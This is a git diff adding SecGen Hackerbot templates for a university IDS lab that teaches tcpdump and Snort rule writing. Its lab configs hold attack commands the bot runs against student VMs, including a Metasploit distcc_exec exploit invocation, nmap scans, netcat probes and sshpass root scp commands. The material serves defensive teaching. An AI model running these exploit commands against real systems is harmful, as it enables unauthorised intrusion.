%>.*".*pcre:"' /tmp/snort_rules >/dev/null; echo good_rule:$? + + + Update your rule so that it also matches the fake_clients file. Use REGEXP so that your rule doesn't include any of the actual data. You have a copy in <%= $sensitive_files_location %>fake_clients.csv Use one or more Snort rules to detect unencrypted transport of either of the files. The alert must include the message "<%= $rand_alert2 %>". + + + good_rule:1 + :( Couldn't find your snort rule on the IDS server in /etc/snort/rules/my.rules. You are missing *regular expression* matching or the message from your rule. + + + triggered:1 + :( Your rule wasn't triggered. + + + triggered:0.*good_rule:0 + :) Well done! <%= $flags.pop %>. + + + + --1 + :( Failed to scp to the ids server (<%= $ids_server_ip %>) + + + -1 + :( Failed to ssh to the web server (<%= $web_server_ip %>) + + + --0 + Continuing... + + + :( Something was not quite right... + + + + + Where else is the sensitive data at rest across the various server VMs for the lab? Use regexp searches to find the file (don't use hashes). + <%= $rand_tmp_restingplace %> + :) <%= $flags.pop %> + + + + + +
diff --git a/modules/generators/structured_content/hackerbot_config/ids_exfiltration/templates/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/ids_exfiltration/templates/labsheet.html.erb new file mode 100644 index 000000000..3166f3520 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids_exfiltration/templates/labsheet.html.erb @@ -0,0 +1,121 @@ + + + <%= self.title %> + + + + + +
+ <%= self.html_TOC_rendered %> +
+ +
+ <%= self.html_rendered %> +
+ + + diff --git a/modules/generators/structured_content/hackerbot_config/ids_exfiltration/templates/license.md.erb b/modules/generators/structured_content/hackerbot_config/ids_exfiltration/templates/license.md.erb new file mode 100644 index 000000000..c11478e8e --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids_exfiltration/templates/license.md.erb @@ -0,0 +1,6 @@ +## License +This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + +Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version. + +![small](images/leedsbeckett-logo.png) diff --git a/modules/generators/structured_content/hackerbot_config/ids_exfiltration/templates/random_service_ids_rule.xml.erb b/modules/generators/structured_content/hackerbot_config/ids_exfiltration/templates/random_service_ids_rule.xml.erb new file mode 100644 index 000000000..75d590e25 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids_exfiltration/templates/random_service_ids_rule.xml.erb @@ -0,0 +1,31 @@ + +<% $services = {'FTP'=>'20','Telnet'=>'23','SMTP'=>'25','HTTP'=>'80','POP3'=>'110','IMAP'=>'143','SNMP'=>'161','LDAP'=>'389','HTTPS'=>'443','LDAPS'=>'636'} + $rand_service1 = $services.keys.sample + $rand_alert3 = SecureRandom.hex(3) %> + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; stat1=$?; nmap -sT -p 1000,<%= $services[$rand_service1] %> <%= $web_server_ip %> > /dev/null; stat2=$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; stat3=$?; echo --$stat1$stat2$stat3; diff -u /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 + false + + + Create a Snort rule that detects any TCP connection attempt to <%= $rand_service1 %> (just the connection attempt, does not require content inspection) on <%= $web_server_ip %>. The alert must include the message "<%= $rand_alert3 %>". + + + ^--1 + :( Failed to scp to your system. + + + ^--01 + :( Failed to scan your system. + + + ^--[01][01]1 + :( Failed to scp to your system (the second time). + + + <%= $rand_alert3 %> + :) Well done! <%= $flags.pop %>. + + + + :( Your rule didn't get triggered (or didn't include the right message). + + diff --git a/modules/generators/structured_content/hackerbot_config/ids_exfiltration/templates/resources.md.erb b/modules/generators/structured_content/hackerbot_config/ids_exfiltration/templates/resources.md.erb new file mode 100644 index 000000000..df3e1a25f --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids_exfiltration/templates/resources.md.erb @@ -0,0 +1,3 @@ +## Resources + +Martin Roesch (n.d.) **Chapter 2:** Writing Snort Rules - How to Write Snort Rules and Keep Your Sanity. In: *Snort Users Manual*. Available from: <[*http://www.snort.org.br/documentacao/SnortUsersManual.pdf*](http://www.snort.org.br/documentacao/SnortUsersManual.pdf)> \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/ids_rules/ids_rules.pp b/modules/generators/structured_content/hackerbot_config/ids_rules/ids_rules.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/ids_rules/manifests/.no_puppet b/modules/generators/structured_content/hackerbot_config/ids_rules/manifests/.no_puppet new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/ids_rules/secgen_local/local.rb b/modules/generators/structured_content/hackerbot_config/ids_rules/secgen_local/local.rb new file mode 100644 index 000000000..13b90d2fd --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids_rules/secgen_local/local.rb @@ -0,0 +1,45 @@ +#!/usr/bin/ruby +require_relative '../../../../../../lib/objects/local_hackerbot_config_generator.rb' + +class IDS < HackerbotConfigGenerator + + attr_accessor :web_server_ip + attr_accessor :ids_server_ip + attr_accessor :hackerbot_server_ip + + def initialize + super + self.module_name = 'Hackerbot Config Generator IDS' + self.title = 'IDS' + + self.local_dir = File.expand_path('../../',__FILE__) + self.templates_path = "#{self.local_dir}/templates/" + self.config_template_path = "#{self.local_dir}/templates/lab.xml.erb" + self.html_template_path = "#{self.local_dir}/templates/labsheet.html.erb" + + self.web_server_ip = [] + self.ids_server_ip = [] + self.hackerbot_server_ip = [] + end + + def get_options_array + super + [['--web_server_ip', GetoptLong::REQUIRED_ARGUMENT], + ['--ids_server_ip', GetoptLong::REQUIRED_ARGUMENT], + ['--hackerbot_server_ip', GetoptLong::REQUIRED_ARGUMENT]] + end + + def process_options(opt, arg) + super + case opt + when '--web_server_ip' + self.web_server_ip << arg; + when '--ids_server_ip' + self.ids_server_ip << arg; + when '--hackerbot_server_ip' + self.ids_server_ip << arg; + end + end + +end + +IDS.new.run \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/ids_rules/secgen_metadata.xml b/modules/generators/structured_content/hackerbot_config/ids_rules/secgen_metadata.xml new file mode 100644 index 000000000..b8ca2b4ee --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids_rules/secgen_metadata.xml @@ -0,0 +1,52 @@ + + + + Hackerbot config for a IDS rules lab + Z. Cliffe Schreuders + GPLv3 + Generates a config file for a hackerbot for a IDS lab. + Topics covered: Writing Snort rules. + + hackerbot_config + linux + + accounts + flags + root_password + web_server_ip + ids_server_ip + hackerbot_server_ip + + + + + + + vagrant + + + + + + + + + + + + + + + + + + + + puppet + + + hackerbot + + \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/ids_rules/shared/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/ids_rules/shared/labsheet.html.erb new file mode 100644 index 000000000..72dab611a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids_rules/shared/labsheet.html.erb @@ -0,0 +1,29 @@ + + + <%= self.title %> + + + + + +
+ + <%= self.html_rendered %> + +
+ + + diff --git a/modules/generators/structured_content/hackerbot_config/ids_rules/shared/license.md.erb b/modules/generators/structured_content/hackerbot_config/ids_rules/shared/license.md.erb new file mode 100644 index 000000000..8e89ace31 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids_rules/shared/license.md.erb @@ -0,0 +1,4 @@ +## License +This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + +Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version. diff --git a/modules/generators/structured_content/hackerbot_config/ids_rules/templates/IDS.md b/modules/generators/structured_content/hackerbot_config/ids_rules/templates/IDS.md new file mode 100644 index 000000000..1e9b7caab --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids_rules/templates/IDS.md @@ -0,0 +1,432 @@ +# Intrusion Detection and Prevention Systems: Configuration and Monitoring using Snort + +## Getting started +### VMs in this lab + +==Start these VMs== (if you haven't already): + +- hackerbot_server (leave it running, you don't log into this) +- ids_server (IP address: <%= $ids_server_ip %>) +- web_server (IP address: <%= $web_server_ip %>) +- desktop + +All of these VMs need to be running to complete the lab. + +**Ensure VMs allow promiscuous mode** +If you are completing this lab on Leeds Beckett oVirt infrastructure, this should be sorted. Otherwise, if you have used SecGen to spin up VMs, you need to ensure your VMs have permission to monitor networks by using promiscuous mode. + +### Your login details for the "desktop" and "ids_server" VMs +User: <%= $main_user %> +Password: tiaspbiqe2r (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember) + +You won't login to the hackerbot_server, but the VM needs to be running to complete the lab. + +You don't need to login to the backup_server or web_server, but you will connect to them via SSH and http later in the lab. + +### For marks in the module +1. **You need to submit flags**. Note that the flags and the challenges in your VMs are different to other's in the class. Flags will be revealed to you as you complete challenges throughout the module. Flags look like this: ==flag{*somethingrandom*}==. Follow the link on the module page to submit your flags. +2. **You need to document the work and your solutions in a workbook**. This needs to include screenshots (including the flags) of how you solved each Hackerbot challenge and a writeup describing your solution to each challenge, and answering any "Workbook Questions". The workbook will be submitted later in the semester. + +## Hackerbot! +![small-right](images/skullandusb.svg) + +This exercise involves interacting with Hackerbot, a chatbot who will task you to monitor the network and will attack your system. If you satisfy Hackerbot by completing the challenges, she will reveal flags to you. + +Work through the below exercises, completing the Hackerbot challenges as noted. + +--- +## Network monitoring basics +It is important for an organisation to monitor their network for detecting unwanted behaviour, such as malicious attacks or organisational resources being misused. + +### Tcpdump + +This section gives a quick overview of the basics of network monitoring, using tools such as Tcpdump. Keep in mind that these are important foundations, and we will quickly build on these. + +**From your desktop VM**, ==SSH into the ids_server==. **Leave this console open in a separate tab** (Shift-Ctrl-T): + +```bash +ssh <%= $main_user %>@<%= $ids_server_ip %> + +sudo -i +``` + +**From this ssh session:** To view live network traffic, ==start tcpdump on the ids_server via ssh:== + +```bash +tcpdump +``` +> Tip: If running tcpdump generates the error "packet printing is not supported for link type USB\_Linux: use -w", then append "-i *eth0*" to each tcpdump command. (Where eth0 is the name of the interface as reported by ifconfig). + +With tcpdump still running via ssh, **from the desktop VM** ==perform a ping to the ids_server VM.== + +```bash +ping <%= $ids_server_ip %> +``` +> Run the above from the desktop VM (not from the tab SSHed to the ids_server). + +> Note that tcpdump displays the network activity taking place, including the pings, and various TCP connections and ARP requests. Depending on your environment you might be seeing the traffic between various VMs. + +The IDS server has a network card interface that can enter promiscuous mode, meaning that it can view traffic destined to other systems on the network. (Not just the traffic destined for the ids_server, as would normally be the case.) + +Test this, **from the desktop** ==ping the web_server==: + +```bash +ping <%= $web_server_ip %> +``` +> If your network is configured correctly, from the Tcpdump running on the ids_server you should see the pings between these separate VMs (the desktop, and the web_server). Take the time to confirm that this is working. + +Once you have seen tcpdump in action displaying these packets ==press Ctrl-C to exit.== + +Tcpdump can format the output in various ways, showing various levels of detail. + +**From the ids_server SSH session** tab, ==run:== + +```bash +tcpdump -q +``` +> This shows a less verbose version of the output. + +**From the desktop** ==Ping the web_server VM again and observe the tcpdump output in the ssh session.== + +```bash +tcpdump -A +``` +> Shows the packet content without the information about the source and destination. + +When you ==access a web page in a browser on the desktop VM== (go ahead... ==reload this labsheet== webpage), Tcpdump will display the content, so long as the traffic is not SSL encrypted (for example, so long as the URL doesn't start with http**s**://). + +==Ping the web_server again== and observe the output. + +Stop tcpdump (Ctrl-C) on the ids_server VM once you have observed the output. + +==Run the following== command **on the ids_server** SSH session: + +```bash +tcpdump -v +``` +> The above is even more verbose, showing lots of detail about the network traffic. + +Now try the ==port scan again==. Note the very detailed output. + +It is possible to write tcpdump network traffic to storage, so that it can be analysed later: +```bash +tcpdump -w /tmp/tcpdump-output +``` + +While that is running, ==access a web page from Firefox on the desktop VM== browse to: +> ==<%= $web_server_ip %>== + +Then ==close tcpdump== (Ctrl-C). + +To view the file containing the tcpdump output on the Kali VM type: + +```bash +less /tmp/tcpdump-output +``` +> (Press "y" to see the output if you are warned that it may be a binary file) + +> You should be able to PageUp and PageDown through the file. + +> Press "Q" to quit when ready + +Run `man tcpdump` and read about the many options for output and filtering. + +### Tcpdump filtering + +We can also use tcpdump to do some simple monitoring of the network traffic to detect certain key words. + +**On the ids_server** ssh session, ==run:== + +```bash +tcpdump -A | grep "GET" +``` +> Tip: if you are using a UK keyboard and the VM configured for US, the "|" symbol is located where "\~" is. + +Open a web browser **on the desktop VM**, and visit [*http://<%= $web_server_ip %>*](http://<%= $web_server_ip %>), note that tcpdump captures *most* network content, and grep can be used to filter it down to lines that are interesting to us. + +Note that making sense of this information using tcpdump and/or Wireshark is possible (and is a common sys-admin task), but the output is too noisy to be constantly and effectively monitored by a human to detect security incidents. Therefore we can use an IDS such as Snort to monitor and analyse the network traffic to detect activity that it is configured to alert. + +Make sure tcpdump is stopped (Ctrl-C). + +## IDS monitoring basics + +Continuing **on the ids_server VM** ssh session: + +==Make a backup== of the snort’s configuration file in case anything goes wrong: + +```bash +cp /etc/snort/snort.conf /etc/snort/snort.conf.bak +``` + +==Change Snort’s output== to something more readable: + +```bash +vi /etc/snort/snort.conf +``` +> (Remember: editing using vi involves pressing "i" to insert/edit text, then *Esc*, + +> ":wq" to write changes and quit) + +==Comment out== the line starting with "`output` …" +> (Put a \# in front of it) + +==Add the following line:== +`output alert_fast` +> **Help with find in vi:** the find command in vi is the / character (forward slash) . When **NOT in insert mode** (pressing Esc will get you out of insert mode if you need to), to find "output" you could enter / output \[+ PRESS ENTER\] Then press the n character to find the next output and the next and the next and the next etc. +> +> If there is still no alert file in /var/log/snort/, you may need to edit /etc/snort/snort.debian.conf, to use the correct interface (for example, eth1 if the output of "ifconfig" does not contain "eth0"). + +==Start Snort:== + +```bash +systemctl start snort +``` + +Snort should now be running, monitoring network traffic for activity. + +==Do an nmap port scan of the ids_server== VM (from the desktop VM): + +```bash +nmap <%= $ids_server_ip %> +``` + +This should trigger an alert from Snort, which is stored in an alerts log file. + +"Follow" the Snort alert log file by running: + +```bash +tail -f /var/log/snort/alert +``` +>The tail program will wait for new alerts to be written to the file, and will display them as they are logged. + +==LogBook question: Does the log match what happened? Are there any false positives (alerts that describe things that did not actually happen)?== + +==Do an nmap port scan of the web_server== VM (from the desktop VM): + +```bash +nmap <%= $web_server_ip %> +``` + +This should trigger another alert. + +Press Ctrl-C to ==stop the alert tail process==, if it did not do so automatically. + +The Snort configuration file can be configured to output, a "tcpdump" formatted network capture. + +Open the snort.conf file in vi: + +```bash +vi /etc/snort/snort.conf +``` +> (Remember: editing using vi involves pressing "i" to insert/edit text, then *Esc*, ":wq" to write changes and quit) + +Add the following line and then save the changes (or uncomment by removing the \#): + +`output log_tcpdump: tcpdump.log` + +Restart Snort: + +```bash +systemctl restart snort +``` + +Try another type of port scan, such as an ==Xmas Tree scan from the desktop== VM (Hint: `man nmap`). + +Then run the following command to ==view the contents of the log:== + +```bash +tcpdump -r /var/log/snort/tcpdump.log.* +``` + +You can use tcpdump’s various flags to change the way it is displayed, or you could even open the logged network activity in Wireshark. + +##Configuring Snort + +**On the ids_server** ssh session, ==edit /etc/snort/snort.conf==; for example: + +```bash +vi /etc/snort/snort.conf +``` +> (Remember: editing using vi involves pressing "i" to insert/edit text, then *Esc*, ":wq" to write changes and quit) + +Scroll through the config file and, take notice of these details: + +- In a production environment you would configure Snort to to correctly identify which traffic is considered LAN traffic, and which IP addresses are known to run various servers (this is also configured in snort.debian.conf). In this case, we will leave these settings as is. + +- Note the line "`var RULE_PATH /etc/snort/rules`": this is where the IDS signatures are stored. + +- Note the presence of a Back Orifice detector preprocessor "bo". Back Orifice was a Windows Trojan horse that was popular in the 90s. + +- We have already seen the "sfportscan" preprocessor in practice, detecting various kinds of port scans. + +- The "arpspoof" preprocessor is described as experimental, and is not enabled by default. + +- Towards the end of the config file are "include" lines, which specify which of the rule files in RULE\_PATH are in effect. As is common, lines beginning with "\#" are ignored, which is used to list disabled rule files. There are rule files for detecting known exploits, attacks against services such as DNS and FTP, denial of service (DoS) attacks, and so on. + +Add the following line below the other include rules (at the end of the file): + +`include $RULE_PATH/my.rules` + +Save your changes to snort.conf +> (For example, in vi, press Esc, then type ":wq"). + +> Hint: you may find it easier to use Esc, then type ":w" to write your changes to disk and then type ":q" to exit (or "x" shorthand for "wq"). + +Run this command, to ==create your new rule file:== + +```bash +touch /etc/snort/rules/my.rules +``` + +==Edit the file.== For example: + +```bash +vi /etc/snort/rules/my.rules +``` + +==Add this line (*with your own name*), and save your changes:== + +`alert icmp any any ->any any (msg: "*Your-name*: ICMP Packet found"; sid:1000000; rev:1;)` + +> For example, `alert icmp any any -> any any (msg: "**Cliffe**: ICMP Packet found"; sid:1000000; rev:1;)` + +Now that you have new rules, tell Snort to ==reload its configuration:== + +```bash +systemctl restart snort +``` +> If after attempting a reload, Snort fails to start, then you have probably made a configuration mistake, so check the log for details by running: `tail /var/log/syslog` + +Due to the new rule you have just applied, sending a simple ICMP Ping (typically used to troubleshoot connectivity) will trigger a Snort alert. + +Try it, **from the desktop** VM, ==ping the web_server:== + +```bash +ping <%= $web_server_ip %> +``` + +Check for the Snort alert. You should see that the ping was detected, and our new message was added to the alerts log file. + +## Writing your own Snort rules + +Snort is predominantly designed as a signature-based IDS. Snort monitors the network for matches to rules that indicate activity that should trigger an alert. You have now seen Snort detect a few types of activity, and have added a rule to detect ICMP packets. Next you will apply more complicated rules, and create your own. + +In addition to the lecture slides, you may find this resource helpful to complete these tasks: + +> Martin Roesch (n.d.) **Chapter 2:** Writing Snort Rules - How to Write Snort Rules and Keep Your Sanity. In: *Snort Users Manual*. Available from: <[*http://www.snort.org.br/documentacao/SnortUsersManual.pdf*](http://www.snort.org.br/documentacao/SnortUsersManual.pdf)> + +In general, rules are defined on one line (although, they can break over lines by using `\`), and take the form of: + +**header (body)** + +where header = "**action** (log,alert) **protocol** (ip,tcp,udp,icmp,any) **source_IP** **source_port** **direction** (->,<>) **destination_IP** **destination_port**" + +> for example: `alert tcp any any -> any any` to make an alert for all TCP traffic, or `alert tcp any any -> 192.168.0.1 23` to make an alert for connections to telnet on the given IP address + +and body = "**option; option: "parameter"; ...**" + +The most common options are: + +> `msg: "message to display"` + +and, to search the packet’s content: + +> `content: "some text to search for"` + +To set the type of alert: + +> `classtype:misc-attack` +> +> (where *misc-attack* is defined in `/etc/snort/classification.conf`) + +To give a unique identifier and revision version number: + +> `sid:1000001; rev:1` + +So for example the body could be: + +> `msg: "user login attempt"; content: "user"; classtype:attempted-user; sid:1000001; rev:1;` + +And bringing all this together a Snort rule could read: + +> `alert tcp any any -> 192.168.0.1 110 (msg: "Email login attempt"; content: "user"; classtype:attempted-user; sid:1000001; rev:1;)` + +This rule looks at packets destined for 192.168.0.1 on the pop3 Email port (110), and sends an alert if the content contains the "user" command (which is used to log on to check email). Note that this rule is imperfect as it is, since it is case sensitive. + +There are lots more options that can make rules more precise and efficient. For example, making them case insensitive, or starting to search content after an offset. Feel free to do some reading, to help you to create better IDS rules. + +==Figure out how the rule could be improved to be case insensitive.== + +==Browse the existing rules in `/etc/snort/rules` and figure out how at least two of them work.== + +Lets create a basic rule that detects any web traffic on port 80. + +```bash +echo "alert tcp any any -> any 80 (msg: "Web traffic detected - RANDOM"; sid:1000002; rev:1;)" >> /etc/snort/rules/my.rules + +systemctl restart snort +``` +Browse to a website, and confirm the rule worked to generate an alert containing RANDOM. + +# TODO RANDOM +# HACKERBOT ATTACKS +(Move up above) +I'm about to attack your system, use Snort to detect the method of attack. +??? quiz??? +Random IP address? LPORT? + +--- +Add a rule to detect any attempt to connect to a Telnet server, the output message must include "- RANDOM". Connections to a Telnet server could be a security issue, since logging into a networked computer using Telnet is known to be insecure because traffic is not encrypted. Don't forget to reload Snort! + + + + + +Once you have saved your rule and reloaded Snort, test this rule by using Telnet. Rather than starting an actual Telnet server (unless you want to do so), you can simulate this by using Netcat to listen on the Telnet port, then connect with Telnet from the desktop VM. + +On a terminal on the Kali Linux VM: + +```bash +netcat -l -p 23 +``` + +Leaving that running, and on a terminal on the openSUSE VM: + + +```bash +telnet localhost +``` +Type "hello" + + + +##TODO +Create a rule that only triggers on loading the Webserver's homepage (http://<%= $web_server_ip %>). Don't forget to reload Snort. + +--- + +Create a rule that triggers on the + +##TODO +Create a Snort rule that detects visits to the Leeds Beckett website from the Kali VM, but does not get triggered by general web browsing. + +Hints: +> Look at some of the existing Snort rules for detecting Web sites, such as those in /etc/snort/rules/community-inappropriate.rules + +> In the IMS labs or when using oVirt, you are likely using the proxy to access the web, so you will need to approach your rules a little differently, you may find you need to change the port you are listening to. Look at the output of tcpdump -A when you access a web page, what does the traffic contain that may point to what is being accessed? Have a look through the output of tcpdump for the text "Host". + +As before, include your name in the alert message. + +##TODO + +Setup Snort as an intrusion *prevention* system (IPS): on the Kali VM so that it can actually deny traffic, and demonstrate with a rule. You may wish to extend the Leeds Beckett website rule, so that all attempts to access the website are denied by Snort. + + +# write a rule that detects +"Top secret" +Randomly specified content +Randomly generated content (requires network monitoring) +attacks +random port number (by service name?) + + diff --git a/modules/generators/structured_content/hackerbot_config/ids_rules/templates/intro.md.erb b/modules/generators/structured_content/hackerbot_config/ids_rules/templates/intro.md.erb new file mode 100644 index 000000000..ffc66c8d4 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids_rules/templates/intro.md.erb @@ -0,0 +1,83 @@ +# Intrusion Detection and Prevention Systems: Configuration and Monitoring using Snort + +## Getting started +### VMs in this lab + +==Start these VMs== (if you haven't already): + +- hackerbot_server (leave it running, you don't log into this) +- ids_server (IP address: <%= $ids_server_ip %>) +- web_server (IP address: <%= $web_server_ip %>, leave it running, you don't log into this) +- desktop + +All of these VMs need to be running to complete the lab. + +**Ensure the ids_server VM is allowed promiscuous mode.** If you are completing this lab on Leeds Beckett oVirt infrastructure, this should be sorted. Otherwise, if you have used SecGen to spin up VMs, you need to ensure your VMs have permission to monitor networks using promiscuous mode. On the Leeds Beckett oVirt infrastructure we have snoop networks, which mirror all the traffic between systems. On Virtualbox, you would need to go to Advanced network settings for the host-only network on the ids_server and enable promiscious mode. + +### Your login details for the "desktop" and "ids_server" VMs +User: <%= $main_user %> +Password: tiaspbiqe2r (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember) + +You won't login to the hackerbot_server or web_server, but all the VMs need to be running to complete the lab. + +### For marks in the module +1. **You need to submit flags**. Note that the flags and the challenges in your VMs are different to other's in the class. Flags will be revealed to you as you complete challenges throughout the module. Flags look like this: ==flag{*somethingrandom*}==. Follow the link on the module page to submit your flags. +2. **You need to document the work and your solutions in a workbook**. This needs to include screenshots (including the flags) of how you solved each Hackerbot challenge and a writeup describing your solution to each challenge, and answering any "Workbook Questions". The workbook will be submitted later in the semester. + +## Hackerbot! +![small-right](images/skullandusb.svg) + +This exercise involves interacting with Hackerbot, a chatbot who will task you to monitor the network and will attack your systems. If you satisfy Hackerbot by completing the challenges, she will reveal flags to you. + +Work through the below exercises, completing the Hackerbot challenges as noted. + +--- +## Getting Snort up and running + +**On the ids_server VM:** + +==Change Snort's output== to something more readable: + +```bash +sudo vi /etc/snort/snort.conf +``` +> (Remember: editing using vi involves pressing "i" to insert/edit text, then *Esc*, + +> ":wq" to write changes and quit) + +==Add the following lines:== +`output alert_fast` + +`include $RULE_PATH/my.rules` + +==Create a new rules file:== + +```bash +sudo touch /etc/snort/rules/my.rules +``` + +Let us edit the rules file without sudo: + +```bash +sudo chown <%= $main_user %> /etc/snort/rules/my.rules +``` + +==Change Snort's interface== to the interface with IP address <%= $ids_server_ip %> (likely eth1), and set the local network to your IP address range (or "any"): + +```bash +sudo vi /etc/snort/snort.debian.conf +``` +> If you are not sure which interface to use, list the interfaces with `ifconfig` or `ip a s` +> Set the interface and HOME network range, and exit vi (Esc, ":wq"). + +==Restart Snort:== + +```bash +sudo service snort stop +sudo service snort start +``` +> Using "reload" or "restart" may not update the interface. + +Snort should now be running, monitoring network traffic for activity. + +It can be helpful to monitor network traffic while writing IDS rules. You can start Wireshark with `kdesudo wireshark &` diff --git a/modules/generators/structured_content/hackerbot_config/ids_rules/templates/lab.xml.erb b/modules/generators/structured_content/hackerbot_config/ids_rules/templates/lab.xml.erb new file mode 100644 index 000000000..0e7741760 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids_rules/templates/lab.xml.erb @@ -0,0 +1,287 @@ +<% + require 'json' + require 'securerandom' + require 'digest/sha1' + require 'fileutils' + require 'erb' + + if self.accounts.empty? + abort('Sorry, you need to provide an account') + end + + $first_account = JSON.parse(self.accounts.first) + $second_account = JSON.parse(self.accounts[1]) + + $files = [] + $log_files = [] + if $second_account.key?("leaked_filenames") && $second_account['leaked_filenames'].size > 0 + $files = $second_account['leaked_filenames'] + $log_files = $second_account['leaked_filenames'].grep(/log/) + end + + if $files.empty? + $files = ['myfile', 'afile', 'filee', 'thefile'] + end + if $log_files.empty? + $log_files = ['log', 'thelog', 'logs', 'frogonalog'] + end + + $main_user = $first_account['username'].to_s + $main_user_pass = $first_account['password'].to_s + $second_user = $second_account['username'].to_s + $example_file = "/home/#{$second_user}/#{$files.sample}" + $example_dir = "/home/#{$second_user}/personal_secrets/" + + $web_server_ip = self.web_server_ip.first + $ids_server_ip = self.ids_server_ip.first + $hackerbot_server_ip = self.hackerbot_server_ip.first + $root_password = self.root_password + $flags = self.flags + + REQUIRED_FLAGS = 10 + while $flags.length < REQUIRED_FLAGS + $flags << "flag{#{SecureRandom.hex}}" + Print.err "Warning: Not enough flags provided to hackerbot_config generator, some flags won't be tracked/marked!" + end + + def get_binding + binding + end +%> + + + + + + Hackerbot + + config/AIML + + + + false + + + + + Your web server is going to be attacked. I have inside information that will help you to monitor your network for the attacks. If you work with me I'll provide you with some flags. + + + When you are ready, simply say 'ready'. + 'Ready'? + Ok, I'll do what I can to move things along... + Moving things along to the next one... + Ok, I'll do what I can to back things up... + Ok, backing up. + Ok, skipping it along. + Let me see what I can do to goto that attack. + That was the last one for now. You can rest easy, until next time... (End.) + That was the last one. Game over? + You are back to the beginning! + This is where it all began. + Doing my thing... + Here we go... + ... + .... + Let me know when you are 'ready', if you want to move on say 'next', or 'previous' and I'll move things along. + Say 'ready', 'next', or 'previous'. + + + I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*' + Say "The answer is *X*". + There is no question to answer + Correct + Incorrect + That's not possible. + Wouldn't you like to know. + + + Oh no. Failed to get shell... You need to let us in. + + + + IDS: Writing rules + <%= ERB.new(File.read self.templates_path + 'intro.md.erb').result(self.get_binding) %> +
+<%= File.read self.templates_path + 'resources.md.erb' %> + +<%= File.read self.templates_path + 'license.md.erb' %> + +Randomised instance generated by [SecGen](http://github.com/cliffe/SecGen) (<%= Time.new.to_s %>) +
+ + true + +
+ + + msfconsole -x "use exploit/unix/misc/distcc_exec; set RHOST <%= $web_server_ip %>; exploit" + whoami > /dev/null; echo "<%= $flags.pop %>" > /dev/null; echo 'Find the flag! (in the network traffic)' + + Your webserver is about to be scanned/attacked. Use Tcpdump and/or Wireshark to view the behaviour of the attacker. There is a flag to be found over the wire. + + + Find the flag + Hope you caught that. + + + + 1 + :( Failed to contact the web server (<%= $web_server_ip %>) + + + :( Something was not right... + + + <%= ERB.new(File.read self.templates_path + 'write_snort_rules.md.erb').result(self.get_binding) %> + + + +<% $rand_port = rand(65535) + $rand_alert1 = SecureRandom.hex(3) %> + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; stat1=$?; nmap -sT -p <%= $rand_port - 1 %>-<%= $rand_port + 1 %> <%= $web_server_ip %> > /dev/null; stat2=$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; stat3=$?; echo --$stat1$stat2$stat3; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 + false + + + Create a Snort rule that detects any TCP connection attempt to TCP port <%= $rand_port %> to <%= $web_server_ip %>. The alert must include the message "<%= $rand_alert1 %>". + + + ^--1 + :( Failed to scp to your system. + + + ^--01 + :( Failed to scan your system. + + + ^--[01][01]1 + :( Failed to scp to your system (the second time). + + + ^--00.*<%= $rand_alert1 %>.*<%= $rand_alert1 %> + :( Almost. The alert did fire, but it fired more than once! + + + <%= $rand_alert1 %> + :) Well done! <%= $flags.pop %>. + + + + :( Your rule didn't get triggered (or didn't include the right message). + + + + + +<% $rand_content1 = SecureRandom.hex(3) + $rand_alert2 = SecureRandom.hex(3) %> + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; stat1=$?; (sleep 1; echo "USER <%= $rand_content1 %>"; sleep 2; killall -9 nc ) | nc <%= $web_server_ip %> 110 > /dev/null; (sleep 1; echo "user test"; echo "pass test"; echo "stat"; echo "quit"; sleep 2; killall -9 nc ) | nc <%= $web_server_ip %> 110 > /dev/null; stat2=$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; stat3=$?; echo --$stat1$stat2$stat3; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 + false + + + Create a Snort rule that detects any packet with the 